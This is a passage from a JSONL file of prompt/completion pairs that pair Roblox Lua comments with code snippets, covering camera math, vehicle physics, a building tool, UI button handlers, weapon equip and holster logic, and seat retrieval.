CFrame.new(c[1], c[2], c[3], c[4]/max, c[5]/max, c[6]/max, c[7]/max, c[8]/max, c[9]/max, c[10]/max, c[11]/max, c[12]/max)\n\t\n\t--\n\t\n\t--[[\n\t-- can set w and h to 1 and use this as an alternative scaling method, but I find the above is better\n\tlocal ratioXY = (surfaceSize.x / surfaceSize.y)\n\tlocal ratioYX = (surfaceSize.y / surfaceSize.x)\n\t\n\tif (ratioXY > ratioYX) then\n\t\tself.SurfaceGUI.CanvasSize = Vector2.new(1024, 1024 * ratioYX)\n\telse\n\t\tself.SurfaceGUI.CanvasSize = Vector2.new(1024 * ratioXY, 1024)\n\tend\n\t--]]\n\t\n\tlocal ncamCF = ncf + camCF.p\n\tself.Camera.FieldOfView = camera.FieldOfView\n\tself.Camera.CFrame = ncamCF\n\tself.Camera.Focus = ncamCF * CFrame.new(0, 0, camCF:PointToObjectSpace(surfaceCF.p).z)\nend\n"} +{"prompt": "-- initialize to idle", "completion": "\nplayAnimation(\"idle\", 0.1, Humanoid)\npose = \"Standing\"\n\nwhile Figure.Parent ~= nil do\n\tlocal _, time = wait(0.1)\n\tmove(time)\nend\n"} +{"prompt": "-- Adjust torque and springs based on gravity to keep the car drivable", "completion": "\nlocal function gravityAdjust()\n\tlocal defaultGravity = 196.2\n\tlocal actualGravity = Workspace.Gravity\n\tlocal gravityChange = actualGravity / defaultGravity\n\t-- Speed is adjusted so that the height of jumps is preserved\n\t-- So maxSpeed is scaled proportionally to the sqrt of gravity\n\tActualDrivingTorque = VehicleParameters.DrivingTorque * gravityChange\n\tActualBrakingTorque = VehicleParameters.BrakingTorque * gravityChange\n\n\tActualStrutSpringStiffnessFront = VehicleParameters.StrutSpringStiffnessFront * gravityChange\n\tActualStrutSpringDampingFront = VehicleParameters.StrutSpringDampingFront * math.sqrt( gravityChange )\n\tActualStrutSpringStiffnessRear = VehicleParameters.StrutSpringStiffnessRear * gravityChange\n\tActualStrutSpringDampingRear = VehicleParameters.StrutSpringDampingRear * math.sqrt( gravityChange )\n\n\tActualTorsionSpringStiffness = VehicleParameters.TorsionSpringStiffness * gravityChange\n\tActualTorsionSpringDamping = VehicleParameters.TorsionSpringDamping * math.sqrt( gravityChange )\nend\n\nlocal function convertProperty(property, value)\n\tif property == \"MaxSpeed\" or property == \"ReverseSpeed\" then\n\t\t-- convert to studs/sec\n\t\treturn value / mphConversion\n\tend\n\n\treturn value\nend\n\nlocal changedAttributesConnection = nil\nlocal function updateFromConfiguration()\n\tlocal obj = script.Parent.Parent\n\n\tfor property, value in pairs(VehicleParameters) do\n\t\tlocal configProp = obj:GetAttribute(property)\n\n\t\tif configProp then\n\t\t\tVehicleParameters[property] = convertProperty(property, configProp)\n\t\tend\n\tend\n\n\t-- Handle dynamic changes\n\tchangedAttributesConnection = obj.AttributeChanged:Connect(function(property)\n\t\t-- Only handle attributes we're interested in\n\t\tif VehicleParameters[property] == nil then\n\t\t\treturn\n\t\tend\n\n\t\tlocal value = obj:GetAttribute(property)\n\t\tVehicleParameters[property] = convertProperty(property, value)\n\n\t\tif DoGravityAdjust then\n\t\t\tgravityAdjust()\n\t\tend\n\n\t\tif Chassis then\n\t\t\tChassis.InitializeDrivingValues() -- reinitialize chassis so that changes are reflected in the rig\n\t\tend\n\tend)\nend\n\nupdateFromConfiguration()\n\nif DoGravityAdjust then\n\tgravityAdjust()\nend\n\nworkspace.Changed:Connect(function(prop)\n\tif prop == \"Gravity\" then\n\t\tif DoGravityAdjust then\n\t\t\tgravityAdjust()\n\t\tend\n\t\tif Chassis then\n\t\t\tChassis.InitializeDrivingValues() -- reinitialize chassis so that changes are reflected in the rig\n\t\tend\n\tend\nend)\n\nlocal Motors\nlocal SteeringPrismatic\nlocal RedressMount\n"} +{"prompt": "-- Hi, thanks for downloading my plugin! This script is here to remove any unnecessary folders, that are used by this plugin to store data in the place, once the game runs.\n-- The data this plugin may store is nothing personal. Some data is used for the \"Cross-Server Protocols\" tool to save the protocols you make for example.", "completion": "\n\t\n\t\n\t\ngame:GetService(\"RunService\").Heartbeat:wait()\nlocal d = {\n\tgame.ServerStorage:WaitForChild(\"3DNotesData\",5),\n\tgame.ServerStorage:WaitForChild(\"CSProtocols\",5),\n\tgame.ServerStorage:WaitForChild(\"crossServerPath\",5),\n\tgame.ServerStorage:WaitForChild(\"InstanceCollectionPlugin\",5),\n\tgame.ServerStorage:WaitForChild(\"CSVariables\",5),\n\tgame.ServerStorage:WaitForChild(\"UIPresets\",5)\n}\nfor i,v in pairs(d) do\n\tv:Destroy()\nend\n"} +{"prompt": "-- Initialize tool subsystems", "completion": "\nMoveTool.HandleDragging = require(script:WaitForChild 'HandleDragging')\n\t.new(MoveTool)\nMoveTool.FreeDragging = require(script:WaitForChild 'FreeDragging')\n\t.new(MoveTool)\nMoveTool.UIController = require(script:WaitForChild 'UIController')\n\t.new(MoveTool)\n\nfunction MoveTool:Equip()\n\t-- Enables the tool's equipped functionality\n\n\t-- Set our current axis mode\n\tself:SetAxes(self.Axes)\n\n\t-- Start up our interface\n\tself.UIController:ShowUI()\n\tself:BindShortcutKeys()\n\tself.FreeDragging:EnableDragging()\n\nend\n\nfunction MoveTool:Unequip()\n\t-- Disables the tool's equipped functionality\n\n\t-- If dragging, finish dragging\n\tif self.FreeDragging.IsDragging then\n\t\tself.FreeDragging:FinishDragging()\n\tend\n\n\t-- Disable dragging\n\tContextActionService:UnbindAction 'BT: Start dragging'\n\n\t-- Clear unnecessary resources\n\tself.UIController:HideUI()\n\tself.HandleDragging:HideHandles()\n\tself.Maid:Destroy()\n\tBoundingBox.ClearBoundingBox();\n\tSnapTracking.StopTracking();\n\nend\n\nfunction MoveTool:SetAxes(AxisMode)\n\t-- Sets the given axis mode\n\n\t-- Update setting\n\tself.Axes = AxisMode\n\tself.AxesChanged:Fire(self.Axes)\n\n\t-- Disable any unnecessary bounding boxes\n\tBoundingBox.ClearBoundingBox();\n\n\t-- For global mode, use bounding box handles\n\tif AxisMode == 'Global' then\n\t\tBoundingBox.StartBoundingBox(function (BoundingBox)\n\t\t\tself.HandleDragging:AttachHandles(BoundingBox)\n\t\tend)\n\n\t-- For local mode, use focused part handles\n\telseif AxisMode == 'Local' then\n\t\tself.HandleDragging:AttachHandles(Selection.Focus, true)\n\n\t-- For last mode, use focused part handles\n\telseif AxisMode == 'Last' then\n\t\tself.HandleDragging:AttachHandles(Selection.Focus, true)\n\tend\n\nend\n\nfunction MoveTool:MovePartsAlongAxesByFace(Face, Distance, InitialStates, InitialFocusCFrame)\n\t-- Moves the given parts in `InitialStates`, along the given axis mode, in the given face direction, by the given distance\n\n\t-- Calculate the shift along the direction of the face\n\tlocal Shift = Vector3.FromNormalId(Face) * Distance\n\n\t-- Move along global axes\n\tif self.Axes == 'Global' then\n\t\tfor Part, InitialState in pairs(InitialStates) do\n\t\t\tPart.CFrame = InitialState.CFrame + Shift\n\t\tend\n\n\t-- Move along individual items' axes\n\telseif self.Axes == 'Local' then\n\t\tfor Part, InitialState in pairs(InitialStates) do\n\t\t\tPart.CFrame = InitialState.CFrame * CFrame.new(Shift)\n\t\tend\n\n\t-- Move along focused item's axes\n\telseif self.Axes == 'Last' then\n\n\t\t-- Calculate focused item's position\n\t\tlocal FocusCFrame = InitialFocusCFrame * CFrame.new(Shift)\n\n\t\t-- Move parts based on initial offset from focus\n\t\tfor Part, InitialState in pairs(InitialStates) do\n\t\t\tlocal FocusOffset = InitialFocusCFrame:toObjectSpace(InitialState.CFrame)\n\t\t\tPart.CFrame = FocusCFrame * FocusOffset\n\t\tend\n\n\tend\n\nend\n\nfunction MoveTool:BindShortcutKeys()\n\t-- Enables useful shortcut keys for this tool\n\n\t-- Track user input while this tool is equipped\n\tself.Maid.HotkeyStart = UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)\n\t\tif GameProcessedEvent then\n\t\t\treturn\n\t\tend\n\n\t\t-- Make sure this input is a key press\n\t\tif InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Make sure it wasn't pressed while typing\n\t\tif UserInputService:GetFocusedTextBox() then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Check if the enter key was pressed\n\t\tif InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then\n\n\t\t\t-- Toggle the current axis mode\n\t\t\tif self.Axes == 'Global' then\n\t\t\t\tself:SetAxes('Local')\n\t\t\telseif self.Axes == 'Local' then\n\t\t\t\tself:SetAxes('Last')\n\t\t\telseif self.Axes == 'Last' then\n\t\t\t\tself:SetAxes('Global')\n\t\t\tend\n\n\t\t-- If - key was pressed, focus on increment input\n\t\telseif (InputInfo.KeyCode.Name == 'Minus') or (InputInfo.KeyCode.Name == 'KeypadMinus') then\n\t\t\tself.UIController:FocusIncrementInput()\n\n\t\t-- Check if the R key was pressed down, and it's not the selection clearing hotkey\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then\n\n\t\t\t-- Start tracking snap points nearest to the mouse\n\t\t\tself:StartSnapping()\n\n\t\t-- Nudge up if the 8 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then\n\t\t\tself:NudgeSelectionByFace(Enum.NormalId.Top)\n\n\t\t-- Nudge down if the 2 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then\n\t\t\tself:NudgeSelectionByFace(Enum.NormalId.Bottom)\n\n\t\t-- Nudge forward if the 9 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then\n\t\t\tself:NudgeSelectionByFace(Enum.NormalId.Front)\n\n\t\t-- Nudge backward if the 1 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then\n\t\t\tself:NudgeSelectionByFace(Enum.NormalId.Back)\n\n\t\t-- Nudge left if the 4 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then\n\t\t\tself:NudgeSelectionByFace(Enum.NormalId.Left)\n\n\t\t-- Nudge right if the 6 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then\n\t\t\tself:NudgeSelectionByFace(Enum.NormalId.Right)\n\n\t\t-- Align the selection to the current target surface if T is pressed\n\t\telseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then\n\t\t\tself.FreeDragging:AlignSelectionToTarget()\n\t\tend\n\tend)\n\n\t-- Track ending user input while this tool is equipped\n\tself.Maid.HotkeyRelease = UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent)\n\t\tif GameProcessedEvent then\n\t\t\treturn\n\t\tend\n\n\t\t-- Make sure this is input from the keyboard\n\t\tif InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Check if the R key was let go\n\t\tif InputInfo.KeyCode == Enum.KeyCode.R then\n\n\t\t\t-- Make sure it wasn't pressed while typing\n\t\t\tif UserInputService:GetFocusedTextBox() then\n\t\t\t\treturn;\n\t\t\tend;\n\n\t\t\t-- Reset handles if not dragging\n\t\t\tif not self.FreeDragging.IsDragging then\n\t\t\t\tself:SetAxes(self.Axes)\n\t\t\tend\n\n\t\t\t-- Stop snapping point tracking if it was enabled\n\t\t\tSnapTracking.StopTracking();\n\n\t\tend\n\tend)\n\nend\n\nfunction MoveTool:StartSnapping()\n\t-- Starts tracking snap points nearest to the mouse\n\n\t-- Hide any handles or bounding boxes\n\tself.HandleDragging:AttachHandles(nil, true)\n\tBoundingBox.ClearBoundingBox();\n\n\t-- Avoid targeting snap points in selected parts while dragging\n\tif self.FreeDragging.IsDragging then\n\t\tSnapTracking.TargetBlacklist = Selection.Items;\n\tend;\n\n\t-- Start tracking the closest snapping point\n\tSnapTracking.StartTracking(function (NewPoint)\n\n\t\t-- Fire `SnappedPoint` and update `SnappedPoint` when there is a new snap point in focus\n\t\tif NewPoint then\n\t\t\tself.SnappedPoint = NewPoint.p\n\t\t\tself.PointSnapped:Fire(self.SnappedPoint)\n\t\tend\n\n\tend)\n\nend\n\nfunction MoveTool:SetAxisPosition(Axis, Position)\n\t-- Sets the selection's position on axis `Axis` to `Position`\n\n\t-- Track this change\n\tself:TrackChange()\n\n\t-- Prepare parts to be moved\n\tlocal InitialStates = self:PreparePartsForDragging()\n\n\t-- Update each part\n\tfor Part in pairs(InitialStates) do\n\n\t\t-- Set the part's new CFrame\n\t\tPart.CFrame = CFrame.new(\n\t\t\tAxis == 'X' and Position or Part.Position.X,\n\t\t\tAxis == 'Y' and Position or Part.Position.Y,\n\t\t\tAxis == 'Z' and Position or Part.Position.Z\n\t\t) * (Part.CFrame - Part.CFrame.p);\n\n\tend;\n\n\t-- Cache up permissions for all private areas\n\tlocal AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);\n\n\t-- Revert changes if player is not authorized to move parts to target destination\n\tif Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then\n\t\tfor Part, State in pairs(InitialStates) do\n\t\t\tPart.CFrame = State.CFrame;\n\t\tend;\n\tend;\n\n\t-- Restore the parts' original states\n\tfor Part, State in pairs(InitialStates) do\n\t\tPart:MakeJoints();\n\t\tCore.RestoreJoints(State.Joints);\n\t\tPart.CanCollide = State.CanCollide;\n\t\tPart.Anchored = State.Anchored;\n\tend;\n\n\t-- Register the change\n\tself:RegisterChange()\n\nend\n\nfunction MoveTool:NudgeSelectionByFace(Face)\n\t-- Nudges the selection along the current axes mode in the direction of the focused part's face\n\n\t-- Get amount to nudge by\n\tlocal NudgeAmount = self.Increment\n\n\t-- Reverse nudge amount if shift key is held while nudging\n\tlocal PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'));\n\tif PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then\n\t\tNudgeAmount = -NudgeAmount;\n\tend;\n\n\t-- Track this change\n\tself:TrackChange()\n\n\t-- Prepare parts to be moved\n\tlocal InitialState, InitialFocusCFrame = self:PreparePartsForDragging()\n\n\t-- Perform the movement\n\tself:MovePartsAlongAxesByFace(Face, NudgeAmount, InitialState, InitialFocusCFrame)\n\n\t-- Indicate updated drag distance\n\tself.DragChanged:Fire(NudgeAmount)\n\n\t-- Cache up permissions for all private areas\n\tlocal AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);\n\n\t-- Revert changes if player is not authorized to move parts to target destination\n\tif Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then\n\t\tfor Part, State in pairs(InitialState) do\n\t\t\tPart.CFrame = State.CFrame;\n\t\tend;\n\tend;\n\n\t-- Restore the parts' original states\n\tfor Part, State in pairs(InitialState) do\n\t\tPart:MakeJoints();\n\t\tCore.RestoreJoints(State.Joints);\n\t\tPart.CanCollide = State.CanCollide;\n\t\tPart.Anchored = State.Anchored;\n\tend;\n\n\t-- Register the change\n\tself:RegisterChange()\n\nend\n\nfunction MoveTool:TrackChange()\n\n\t-- Start the record\n\tself.HistoryRecord = {\n\t\tParts = Support.CloneTable(Selection.Parts);\n\t\tBeforeCFrame = {};\n\t\tAfterCFrame = {};\n\t\tSelection = Selection.Items;\n\n\t\tUnapply = function (Record)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Put together the change request\n\t\t\tlocal Changes = {};\n\t\t\tfor _, Part in pairs(Record.Parts) do\n\t\t\t\ttable.insert(Changes, { Part = Part, CFrame = Record.BeforeCFrame[Part] });\n\t\t\tend;\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncMove', Changes);\n\n\t\tend;\n\n\t\tApply = function (Record)\n\t\t\t-- Applies this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Put together the change request\n\t\t\tlocal Changes = {};\n\t\t\tfor _, Part in pairs(Record.Parts) do\n\t\t\t\ttable.insert(Changes, { Part = Part, CFrame = Record.AfterCFrame[Part] });\n\t\t\tend;\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncMove', Changes);\n\n\t\tend;\n\n\t};\n\n\t-- Collect the selection's initial state\n\tfor _, Part in pairs(self.HistoryRecord.Parts) do\n\t\tself.HistoryRecord.BeforeCFrame[Part] = Part.CFrame\n\tend\n\nend\n\nfunction MoveTool:RegisterChange()\n\t-- Finishes creating the history record and registers it\n\n\t-- Make sure there's an in-progress history record\n\tif not self.HistoryRecord then\n\t\treturn\n\tend\n\n\t-- Collect the selection's final state\n\tlocal Changes = {};\n\tfor _, Part in pairs(self.HistoryRecord.Parts) do\n\t\tself.HistoryRecord.AfterCFrame[Part] = Part.CFrame\n\t\ttable.insert(Changes, { Part = Part, CFrame = Part.CFrame });\n\tend;\n\n\t-- Send the change to the server\n\tCore.SyncAPI:Invoke('SyncMove', Changes);\n\n\t-- Register the record and clear the staging\n\tCore.History.Add(self.HistoryRecord)\n\tself.HistoryRecord = nil\n\nend\n\nfunction MoveTool:PreparePartsForDragging()\n\t-- Prepares parts for dragging and returns the initial state of the parts\n\n\tlocal InitialState = {};\n\n\t-- Get index of parts\n\tlocal PartIndex = Support.FlipTable(Selection.Parts)\n\n\t-- Stop parts from moving, and capture the initial state of the parts\n\tfor _, Part in pairs(Selection.Parts) do\n\t\tInitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, CFrame = Part.CFrame };\n\t\tPart.Anchored = true;\n\t\tPart.CanCollide = false;\n\t\tInitialState[Part].Joints = Core.PreserveJoints(Part, PartIndex);\n\t\tPart:BreakJoints();\n\t\tPart.Velocity = Vector3.new();\n\t\tPart.RotVelocity = Vector3.new();\n\tend;\n\n\t-- Get initial state of focused item\n\tlocal InitialFocusCFrame\n\tlocal Focus = Selection.Focus\n\tif not Focus then\n\t\tInitialFocusCFrame = nil\n\telseif Focus:IsA 'BasePart' then\n\t\tInitialFocusCFrame = Focus.CFrame\n\telseif Focus:IsA 'Model' then\n\t\tInitialFocusCFrame = Focus:GetModelCFrame()\n\tend\n\n\treturn InitialState, InitialFocusCFrame\nend;\n"} +{"prompt": "--[=[\n\t@within TableUtil\n\t@function IsEmpty\n\t@param tbl table\n\t@return boolean\n\n\tReturns `true` if the given table is empty. This is\n\tsimply performed by checking if `next(tbl)` is `nil`\n\tand works for both arrays and dictionaries. This is\n\tuseful when needing to check if a table is empty but\n\tnot knowing if it is an array or dictionary.\n\n\t```lua\n\tTableUtil.IsEmpty({}) -- true\n\tTableUtil.IsEmpty({\"abc\"}) -- false\n\tTableUtil.IsEmpty({abc = 32}) -- false\n\t```\n]=]", "completion": "\nlocal function IsEmpty(tbl: { any }): boolean\n\treturn next(tbl) == nil\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ General ]=----------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t TeamKill = true\t\t\t\t\t--- Enable TeamKill?\n\t,TeamDamageMultiplier = 1\t\t\t--- Between 0-1 | This will make you cause less damage if you hit your teammate\n\t\n\t,ReplicatedBullets = true\t\t\t--- Keep in mind that some bullets will pass through surfaces...\n\t\n\t,AntiBunnyHop = true\t\t\t\t--- Enable anti bunny hop system?\n\t,JumpCoolDown = 3\t\t\t\t\t--- Seconds before you can jump again\n\t,JumpPower = 50\t\t\t\t\t\t--- Jump power, default is 50\n\t\n\t,RealisticLaser = true\t\t\t\t--- True = Laser line is invisible\n\t,ReplicatedLaser = true\t\t\t\t\n\t,ReplicatedFlashlight = true\n\t\n\t,EnableRagdoll = true\t\t\t\t--- Enable ragdoll death?\n\t,TeamTags = true\t\t\t\t\t--- Aaaaaaa\n\t,HitmarkerSound = false\t\t\t\t--- GGWP MLG 360 NO SCOPE xD"} +{"prompt": "-- This script listens for RemoteEvents that will be called from the client (\"Main\" script)", "completion": "\nlocal Home = script.Parent\n"} +{"prompt": "--Fucntion for the buttons.", "completion": "\nFrame:WaitForChild(\"Delete\").MouseButton1Click:Connect(function()\n\tdeletenumber()\nend)\nFrame:WaitForChild(\"Ok\").MouseButton1Click:Connect(function()\n\tfinish()\nend)\nFrame:WaitForChild(\"B0\").MouseButton1Click:Connect(function()\n\taddnumber(0)\t--plays addnunber function with a number that matches the button. For example when we pess button0, we play the function with number 0\nend)\nFrame:WaitForChild(\"B1\").MouseButton1Click:Connect(function()\n\taddnumber(1)\nend)\nFrame:WaitForChild(\"B2\").MouseButton1Click:Connect(function()\n\taddnumber(2)\nend)\nFrame:WaitForChild(\"B3\").MouseButton1Click:Connect(function()\n\taddnumber(3)\nend)\nFrame:WaitForChild(\"B4\").MouseButton1Click:Connect(function()\n\taddnumber(4)\nend)\nFrame:WaitForChild(\"B5\").MouseButton1Click:Connect(function()\n\taddnumber(5)\nend)\nFrame:WaitForChild(\"B6\").MouseButton1Click:Connect(function()\n\taddnumber(6)\nend)\nFrame:WaitForChild(\"B7\").MouseButton1Click:Connect(function()\n\taddnumber(7)\nend)\nFrame:WaitForChild(\"B8\").MouseButton1Click:Connect(function()\n\taddnumber(8)\nend)\nFrame:WaitForChild(\"B9\").MouseButton1Click:Connect(function()\n\taddnumber(9)\nend)\n"} +{"prompt": "-- Make the AnimBase", "completion": "\n\tL_18_ = Instance.new(\"Part\", L_3_)\n\tL_18_.FormFactor = \"Custom\"\n\tL_18_.CanCollide = false\n\tL_18_.Transparency = 1\n\tL_18_.Anchored = false\n\tL_18_.Name = \"AnimBase\"\n\t\n\tL_19_ = Instance.new(\"Motor6D\")\n\tL_19_.Part0 = L_18_\n\tL_19_.Part1 = L_58_\n\tL_19_.Parent = L_18_\n\tL_19_.Name = \"AnimBaseW\"\n\t--AnimBaseW.C1 = gunSettings.StartPose\t\n\t\n\tL_15_ = Instance.new(\"Motor6D\")\n\tL_15_.Part0 = L_3_['Right Arm']\n\tL_15_.Part1 = L_1_:FindFirstChild('Grip')\n\tL_15_.Parent = L_3_['Right Arm']\n\tL_15_.C1 = L_12_.GunPos\n\tL_15_.Name = \"Grip\"\n\t\n\tfor L_60_forvar1, L_61_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_61_forvar2:IsA(\"Part\") or L_61_forvar2:IsA(\"MeshPart\") or L_61_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_61_forvar2.Anchored = true\n\t\t\t\n\t\t\tif L_61_forvar2.Name ~= \"Grip\" and L_61_forvar2.Name ~= \"Bolt\" and L_61_forvar2.Name ~= 'Lid' then\n\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\tend\n\t\t\t\n\t\t\tif L_61_forvar2.Name == \"Bolt\" then\n\t\t\t\tif L_1_:FindFirstChild('BoltHinge') then\n\t\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"BoltHinge\"))\n\t\t\t\telse\n\t\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tif L_61_forvar2.Name == \"Lid\" then\n\t\t\t\tif L_1_:FindFirstChild('LidHinge') then\n\t\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"LidHinge\"))\n\t\t\t\telse\n\t\t\t\t\tWeld(L_61_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor L_62_forvar1, L_63_forvar2 in pairs(L_13_:GetChildren()) do\n\t\tif L_63_forvar2:IsA('Part') then\n\t\t\tWeld(L_63_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\tend\n\tend\n\t\n\tfor L_64_forvar1, L_65_forvar2 in pairs(L_13_:GetChildren()) do\n\t\tif L_65_forvar2:IsA('Part') then\n\t\t\tL_65_forvar2.Anchored = false\n\t\tend\n\tend\n\t\n\tfor L_66_forvar1, L_67_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_67_forvar2:IsA(\"Part\") or L_67_forvar2:IsA(\"MeshPart\") or L_67_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_67_forvar2.Anchored = false\n\t\tend\n\tend\n\t\n\tL_20_ = L_3_['Right Arm']\n\tL_21_ = L_3_['Left Arm']\n\tL_24_ = L_3_.Torso:WaitForChild(\"Right Shoulder\")\n\tL_25_ = L_3_.Torso:WaitForChild(\"Left Shoulder\")\n\t\n\tL_22_ = Instance.new(\"Motor6D\")\n\tL_22_.Name = \"RAW\"\n\tL_22_.Part0 = L_18_\n\tL_22_.Part1 = L_20_\n\tL_22_.Parent = L_18_\n\tL_22_.C1 = L_12_.RightArmPos\n\tL_3_.Torso:WaitForChild(\"Right Shoulder\").Part1 = nil\n\t\t\n\tL_23_ = Instance.new(\"Motor6D\")\n\tL_23_.Name = \"LAW\"\n\tL_23_.Part0 = L_18_\n\tL_23_.Part1 = L_21_\n\tL_23_.Parent = L_18_\n\tL_23_.C1 = L_12_.LeftArmPos\n\tL_3_.Torso:WaitForChild(\"Left Shoulder\").Part1 = nil\n\t\n\tL_14_ = L_8_:WaitForChild('MainGui'):clone()\n\tL_14_.Parent = L_2_.PlayerGui\n\t\n\tL_27_ = L_58_:FindFirstChild('AHH') or L_6_:WaitForChild('AHH'):clone()\n\tL_27_.Parent = L_3_.Head\n\t\n\tif L_32_ then\n\t\tL_32_:Destroy()\n\tend\n\t\n\tL_33_:FireClient(L_2_, true, L_15_, L_18_, L_19_, L_22_, L_23_, L_17_)\nend)\n\nL_1_.Unequipped:connect(function()\n\tlocal L_68_ = L_3_:FindFirstChild('Torso')\n\tlocal L_69_ = L_3_:FindFirstChild('Head')\n\tL_32_ = Instance.new('Model', L_3_)\n\tL_32_.Name = \"HolsterModel\"\n\t\n\tfor L_70_forvar1, L_71_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tfor L_72_forvar1, L_73_forvar2 in pairs(L_71_forvar2:GetChildren()) do\n\t\t\tif L_73_forvar2.ClassName == \"Motor6D\" then\n\t\t\t\tL_73_forvar2:Destroy()\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor L_74_forvar1, L_75_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_75_forvar2:IsA(\"Part\") or L_75_forvar2:IsA(\"MeshPart\") or L_75_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_75_forvar2.Anchored = true\n\t\tend\n\tend\n\t\n\tif L_3_.Humanoid and L_3_.Humanoid.Health > 0 then\n\t\tL_3_.HumanoidRootPart.RootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_68_['Right Hip'].C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_68_['Left Hip'].C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_17_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\t\n\t\tL_3_.HumanoidRootPart.RootJoint.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_68_['Right Hip'].C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_68_['Left Hip'].C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_17_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tend\n\t\n\tL_68_:WaitForChild(\"Neck\").Part1 = L_69_\n\tL_68_:WaitForChild(\"Neck\").C1 = L_68_:WaitForChild(\"Neck\").C1\n\tL_68_:WaitForChild(\"Neck\").C0 = L_68_:WaitForChild(\"Neck\").C0\n\t\n\tL_18_:Destroy()\n\tL_17_:Destroy()\n\tL_24_.Part1 = L_20_\n\tL_25_.Part1 = L_21_\n\t\n\tif L_69_:FindFirstChild('AHH') then\n\t\tL_69_.AHH:Destroy()\n\tend\n\t\n\tL_33_:FireClient(L_2_, false)\n\t\n\tif L_12_.HolsteringEnabled then\n\t\tfor L_77_forvar1, L_78_forvar2 in pairs(L_1_:GetChildren()) do\n\t\t\tif L_78_forvar2:IsA(\"Part\") or L_78_forvar2:IsA(\"MeshPart\") or L_78_forvar2:IsA(\"UnionOperation\") then\n\t\t\t\tL_78_forvar2.Anchored = true\n\t\t\t\tlocal L_79_ = L_78_forvar2:clone()\n\t\t\t\tL_79_.Parent = L_32_\n\t\t\tend\n\t\tend;\n\t\t\n\t\tfor L_80_forvar1, L_81_forvar2 in pairs(L_32_:GetChildren()) do\n\t\t\tWeld(L_81_forvar2, L_32_:WaitForChild(\"Grip\"))\n\t\tend\n\t\t\n\t\tlocal L_76_ = Weld(L_32_:WaitForChild(\"Grip\"), L_3_:WaitForChild('Torso'))\n\t\tL_76_.Name = \"TWeld\"\n\t\tL_76_.C1 = L_12_.HolsterPos\n\t\t\n\t\tfor L_82_forvar1, L_83_forvar2 in pairs(L_32_:GetChildren()) do\n\t\t\tL_83_forvar2.Anchored = false\n\t\tend\n\tend\nend)\n\nL_3_.Humanoid.Died:connect(function()\t\n\tL_33_:FireClient(L_2_, false)\nend)\n"} +{"prompt": "--Get existing seats", "completion": "\nlocal CurrentSeats = Remotes.GetSeats:InvokeServer()\nfor i,v in pairs(CurrentSeats) do\n\tSeats[v] = v\nend\n"} 